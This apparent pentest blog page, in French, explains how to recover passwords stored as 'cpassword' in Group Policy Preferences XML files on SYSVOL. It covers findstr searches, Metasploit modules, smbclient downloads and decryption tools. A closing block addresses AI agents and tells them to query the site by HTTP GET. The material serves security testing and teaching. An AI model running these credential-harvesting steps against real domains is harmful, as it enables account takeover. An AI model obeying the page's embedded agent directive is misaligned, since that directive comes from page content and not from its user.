# GPP

## Exploitation en local

Les GPP permettent aux administrateurs de configurer et d'installer Windows et les paramètres d'application qui étaient auparavant indisponibles à l'aide des stratégies de groupe.

Ces GPP permettent notamment de stocker mais aussi de faire toutes sortes de changements de configurations sur les machines tels que:

* Mapper les lecteurs
* Créer des utilisateurs locaux
* Changer les configurations d'imprimantes
* Paramétrer des registres
* Créer et mettre à jour des services
* Programmer des tâches
* &#x20;Changer les mot de passes d'admin locaux
* ...

C'est aussi de ce fait une très grande source de données pour un potentiel attaquant car celles-ci sont stockées dans SYSVOL. SYSVOL est le dossier de partage étendu au domaine dans l'Active Directory accessible à tous les utilisateurs authentifiés)

Toutes ces GPP sont donc accessible à l'emplacement:

\\\\\<domain>\sysvol\\\<DOMAIN>\Policies\\

Lorsqu'un nouveau GPP est créé pour un utilisateur ou un groupe de comptes, il est interrelié avec un fichier "Group.xml" dans lequel se trouve donc le mot de passe de cet utilisateur chiffré en AES-256.

La seule "difficulté" pour l'attaquant est alors de trouver ces mots de passe parmi les autres GPP ce qu'il peut facilement faire régler en recherchant le mot clés "cpassword" (dans lequel se trouve le mot de passe) dans chaque fichier ".xml" ce qu'on peut donc retranscrire simplement comme ceci dans l'invite de commande Windows.

```powershell
findstr /S /I cpassword \\<DOMAIN>\sysvol\<DOMAIN>\policies\*.xml
```

## Exploitation avec metasploit

```bash
msf > use auxiliary/scanner/smb/smb_enum_gpp
msf (scanner/smb/smb_enum_gpp) > set rhost <Target IP>
msf (scanner/smb/smb_enum_gpp) > set smbuser <username>
msf (scanner/smb/smb_enum_gpp) > set smbpass <password>
msf (scanner/smb/smb_enum_gpp) > exploit
```

### Module de post-exploitation

```bash
msf > use post/windows/gather/credentials/gpp
msf (windows/gather/credentials/gpp) > set session 1
msf (windows/gather/credentials/gpp) > exploit
```

## Exploitation via smbclient

```bash
smbclient //<target ip>/SYSVOL/<domain>/Policies -u <username>
smb \> ls
    .
    ..
    {EE146E8...}
    {EE146E9...}        
smb \> cd {EE146E8...}
smn \{EE146E8...}> get Group.xml
```

## Déchiffrement

### gpp-decrypt

Utilisation:

*`$ gpp-decrypt <password chiffré>`*

ressource: <https://www.kali.org/tools/gpp-decrypt/>

### Get-GPPPassword

Utilisation:

*`> Get-GPPPassword`*

ressource: <https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1>

### Net-GPPPassword

Implémentation .NET de Get-GPPPassword. Récupère le mot de passe en clair et d'autres informations pour les comptes poussés via les préférences de stratégie de groupe.

ressource: <https://github.com/outflanknl/Net-GPPPassword>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-ad/gpp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
